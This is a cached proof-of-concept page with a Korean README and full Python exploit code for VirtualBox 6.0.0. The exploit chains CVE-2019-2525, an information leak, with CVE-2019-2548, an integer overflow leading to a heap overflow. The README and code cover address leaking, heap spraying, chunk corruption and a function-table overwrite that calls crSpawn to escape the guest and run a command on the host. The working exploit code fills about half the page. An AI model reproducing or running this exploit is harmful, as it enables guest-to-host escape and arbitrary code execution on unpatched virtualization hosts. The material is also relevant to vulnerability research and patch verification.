Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-2525 PoC — Oracle Virtualization VM VirtualBox 访问控制错误漏洞

Source
Associated Vulnerability
Title:Oracle Virtualization VM VirtualBox 访问控制错误漏洞 (CVE-2019-2525)
Description:Oracle Virtualization是美国甲骨文(Oracle)公司的一套虚拟化解决方案。该方案用于统一管理从应用程序到磁盘的整个硬件和软件体系,可实现从桌面到数据中心的虚拟化。VM VirtualBox是其中的一个虚拟机组件。 Oracle Virtualization中的VM VirtualBox组件5.2.24之前版本和6.0.2之前版本的Core子组件存在安全漏洞。攻击者可利用该漏洞未授权访问数据,影响数据的保密性。
Description
CVE-2019-2525 / CVE-2019-2548
Readme
# VirtualBox 6.0.0 Exploit 1-day

사용할 VBox bug

- CVE-2019-2525 : `crUnpackExtendGetAttribLocation` Infomation Disclosure
- CVE-2019-2548 : `crServerDispatchReadPixels` Interger overflow, lead to Heap overflow
- these bugs can be trigger on enable 3D Acceleration.


먼저 설명에 앞서 아래 익스를 수행한 동영상을 찍어서 첨부한다.

[https://youtu.be/IQRLtqMgVCY?t=46](https://youtu.be/IQRLtqMgVCY?t=46)

### 1. Memory Leak (CVE-2019-2525)

1. `hgcm_connect`와 `hgcm_disconnect`을 여러번 실행하여 메모리에 `cr_server`와 관련있는 값을 올릴 수 있고, `crUnpackExtendGetAttribLocation`에서 음수 오프셋을 통해 메모리 릭을 하여 `cr_server+19056`와 `crVBoxHGCMDoDisconnect` 의 주소를 구할 수 있다.
2. 위 `leak`된 메모리값을 이용해 `cr_server`와 `crSpawn`의 주소를 구한다.



### 2. Heap Spray

1. `CRVBOXSVBUFFER_t`를 메모리에 Heap Spray한다. 이 때 `alloc_buf`를 사용하는데, 메모리가 연속적으로 할당되기때문에, 버퍼 구조체의 `pData`역시 버퍼 구조체 바로 옆에 할당되게 된다.
2. 그러므로 `alloc_buf(client, 0x20)`으로 `CRVBOXSVBUFFER_t`과 같은 크기의 pData를 생성한다.

![](img/vbox_escape1.png)

3. 짝수개의 Buffer ID를 Free한다.

![](img/vbox_escape2.png)

4. `alloc_buf(client, 0x50, msg)`와 `alloc_buf(client, 0x20, msg)`를 번갈아가며 할당하여 `Free` 청크를 채운다. 0x50은 Free된 청크에 할당되지 못하고 다른 메모리영역에 할당된다.

![](img/vbox_escape3.png)

5. 0x50의 길이를 가지는 짝수 Buffer ID를 Free

![](img/vbox_escape4.png)













### 3. Corrupt Chunk (CVE-2019-2548)

1. `crServerDispatchReadPixels`에서 `integer overflow`가 일어나는 것을 이용하여 0x20크기의 구조체를 할당한다.
- bytes_per_row = 0x1FFFFFFD / height = 8  ⇒ 0x100000020

2. 위 구조체는 Spray된 힙영역의 중간에 Free된 영역에 삽입되고, 크기가 0x38인 것을 이용하여 0x18만큼 `Heap overflow`가 발생하여 다음 구조체의 `uiID`와 `uiSize`를 수정할 수 있다.

- uiID = 0xdeadbeef  /  uiSize = 0xffffffff

![](img/vbox_escape5.png)

3. 수정된 uiID를 가진 구조체를 사용하여 다음 청크를 수정시킬 수 있다. 이 때 uiSize가 0xffffffff이기때문에 다음 청크는 `pData`까지 원하는 값으로 바꿀 수 있다.

- uiID = 0xcafebabe / uiSize = 0xffffffff / pData = 원하는 값

![](img/vbox_escape6.png)

4. 이제 uiID가 0xdeadbeef인 구조체로 pData를 설정하고 0xcafebabe인 구조체를 이용해 `OOB Write` 를 수행할 수 있다.

### 4. Exploit

1. `OOB Write`를 이용하여 `cr_server + 0xc410`에 "xcalc"를 쓴다.
2. `OOB Write`를 이용하여 함수 테이블에 있는 crServerDispatchBoundsInfoCR(cr_server+0x0xae98)를 `crSpawn` 함수로 덮는다.
3. crServerDispatchBoundsInfoCR를 실행시켜 `crSpawn`함수를 호출한다. 이 때 인자로 **command="xcalc", argv=["xcalc"의 주소, NULL]**를 주어  VirtualBox를 탈출하여 계산기를 실행시킬 수 있다.



### 결과화면

![](img/vbox_escape7.png)

### Demo 동영상

[https://youtu.be/IQRLtqMgVCY?t=46](https://youtu.be/IQRLtqMgVCY?t=46)



### Exploit code

```python
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *

def nop_msg():
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + "\x00\x00\x00" +chr(CR_NOP_OPCODE)
        + pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
        )
    return msg

def make_leak_msg(offset):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
        + pack("<I", offset) #packet_length
        + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
        + pack("<I", 0x41424344)
        )
    return msg

def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
        + pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
        + pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
        )
    return msg

def make_crSpawn_msg(cmd, argv):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
        + pack("<I", 1)
        + cmd.ljust(16, "\x00")
        + pack("<I", 0)
        + pack("<QQ", argv, 0) # argv : execute string, null
        )
    return msg

def leak_address(client):
    leak_success = False;
    while not leak_success:
    	for i in range(0, 10):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x170):
                leak_success = True
                break
    cr_server = leak - 0x4a70
    
    leak_success = False;
    while not leak_success:
        for i in range(0, 100):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x230):
                leak_success = True
                break
    crSpawn = leak - 0xbd20
    return (cr_server, crSpawn)
    
def heapSpray(client):
    buf_ids = []
    spray_ids = []
    msg = nop_msg()
    # make CRVBOXSVCBUFFER_t & pData heapSpray area
    for i in range(120):
		buf_ids.append(alloc_buf(client, 0x20, msg))
    buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
    
    # even buf_ids free
    for idx in buf_ids[::2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
    
    # fill CRVBOXSVCBUFFER_t free areas
    for i in range(40):
        spray_ids.append(alloc_buf(client, 0x50, msg))
        alloc_buf(client, 0x20, msg)
    
    # make a hole between spray area
    for idx in spray_ids[::-2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])

def make_corrupt_obj(pData):
    obj = (
        "A"*0x28
        + pack("<Q", 0x35)
        + pack("<I", 0xcafebabe) #uiId
        + pack("<I", 0xffffffff) #uiSize
        + pack("<Q", pData) # table_addr
        )
    return obj

def write_anywhere(addr, data):
    #make corrupt obj
    fake_buffer = make_corrupt_obj(addr)
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])

if __name__=='__main__':
    client = hgcm_connect("VBoxSharedCrOpenGL")
    set_version(client) #must use
    
    # Trigger to CVE-2019-2525
    cr_server, crSpawn = leak_address(client)
    crServerDispatchBoundsInfoCR = cr_server+0xae98
    
    print("[*] crServer : " + hex(cr_server))
    print("[*] crSpawn  : " + hex(crSpawn))
    #print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
    
    # heapSpray
    heapSpray(client)
    
    # Trigger to CVE-2019-2548
    msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
    crmsg(client, msg)
    #a = input("test1 : ")
   
    # setting "xcalc"
    xcalc_string = cr_server + 0xc410 
    write_anywhere(xcalc_string, "xcalc")
    print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))

    # overwrite talbe func crSpawn
    print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
    write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))

    # escape!! execute xcalc
    msg = make_crSpawn_msg("xcalc", xcalc_string)
    crmsg(client, msg)

    hgcm_disconnect(client) 

```

File Snapshot

[4.0K] /data/pocs/3cbf05e1fbcad0e658364f89470795f69049313b ├── [4.8K] exploit.py ├── [4.0K] img │   ├── [ 34K] vbox_escape1.png │   ├── [ 34K] vbox_escape2.png │   ├── [ 55K] vbox_escape3.png │   ├── [ 51K] vbox_escape4.png │   ├── [ 52K] vbox_escape5.png │   ├── [ 51K] vbox_escape6.png │   └── [234K] vbox_escape7.png ├── [4.0K] lib │   ├── [2.5K] chromium.py │   ├── [ 11K] hgcm.py │   └── [ 20K] opcodes.py ├── [8.0K] README.md └── [ 126] vbox_bulid 2 directories, 13 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.